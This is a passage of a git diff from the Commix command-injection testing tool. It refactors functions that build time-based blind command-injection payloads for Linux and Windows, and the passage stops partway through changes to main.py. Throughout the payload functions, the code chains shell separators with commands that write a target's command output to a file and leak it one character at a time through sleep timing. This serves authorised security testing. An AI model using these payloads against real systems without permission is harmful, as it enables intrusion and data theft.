settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : + separator = _urllib.parse.unquote(separator) + elif separator == "||" : pipe = "|" payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - + payload = checks.payload_newline_fixation(payload) return payload """ Get the execution output, of shell execution. """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - + else: + pass else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "sleep 0" + separator + + "sleep 0" + separator + # Use space as delimiter - "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + - pipe + "od -N 1 -i" + - pipe + "head -1" + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + + pipe + "tr -d '\\n'" + + pipe + "cut -c " + str(num_of_chars) + + pipe + "od -N 1 -i" + + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + "sleep " + str(timesec) ) @@ -472,218 +378,171 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http __Warning__: The alternative shells are still experimental. """ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print ord(file.read().strip()[" + str(num_of_chars - 1) + "][0]); exit(0)\"" - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" + if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + payload = (pipe + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass - elif separator == "%0a" : - separator = "\n" + else: + if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - + # New line fixation + payload = checks.payload_newline_fixation(payload) return payload """ Get the execution output, of shell execution. """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + payload = (pipe + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " + payload = (ampersand + + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass - elif separator == "%0a" : - separator = "\n" + else: + if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "sleep 0" + separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + + "sleep 0" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + ") ] " + separator + "sleep " + str(timesec) ) else: pass - + return payload """ __Warning__: The alternative shells are still experimental. """ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print file.readlines()[0][" + str(num_of_chars - 1) + "]; exit(0)\"" - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" + if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + payload = (pipe + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - - elif separator == "%0a" : - separator = "\n" + else: + pass + else: + if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - + # New line fixation + payload = checks.payload_newline_fixation(payload) return payload - + # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index e4aec047f4..56624cff5b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,20 +3,19 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re import os import sys -import errno import random from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines @@ -34,9 +33,11 @@ from src.utils import install from src.utils import crawler from src.utils import settings +from src.core.requests import parameters from src.utils import session_handler from src.utils import simple_http_server from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.testing import smoke_test from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers @@ -50,7 +51,7 @@ # Set default encoding _reload_module(sys) -#sys.setdefaultencoding(settings.UNICODE_ENCODING) +#sys.setdefaultencoding(settings.DEFAULT_CODEC) if settings.IS_WINDOWS: import codecs @@ -59,56 +60,95 @@ # Use Colorama to make Termcolor work on Windows too :) init() + """ Define HTTP User-Agent header. """ -def user_agent_header(): - # Check if defined "--mobile" option. - if menu.options.mobile: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - menu.options.agent = menu.mobile_user_agents() - - # Check if defined "--random-agent" option. - if menu.options.random_agent: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: +def defined_http_headers(url): + def extra_headers(): + if any((menu.options.header, menu.options.headers)): + settings.EXTRA_HTTP_HEADERS = True if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Fetching random HTTP User-Agent header. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + debug_msg = "Setting extra HTTP headers." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + def cookie(): + if menu.options.cookie and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.COOKIE + " header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + def referer(url): + if menu.options.referer is None: + if menu.options.level and int(menu.options.level) == settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) + if menu.options.referer and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.REFERER + " header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + def host(url): + if menu.options.host is None: + menu.options.host = _urllib.parse.urlparse(url).netloc + if menu.options.host and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.HOST + " header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + def user_agent(): + # Check if defined "--mobile" option. + if menu.options.mobile: + if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: + err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + menu.options.agent = checks.mobile_user_agents() + + # Check if defined "--random-agent" option. + if menu.options.random_agent: + if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: + err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() else: - pass - try: - menu.options.agent = random.choice(settings.USER_AGENT_LIST) if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." - print(settings.print_info_msg(info_msg)) - except: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP User-Agent header." - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Fetching random HTTP 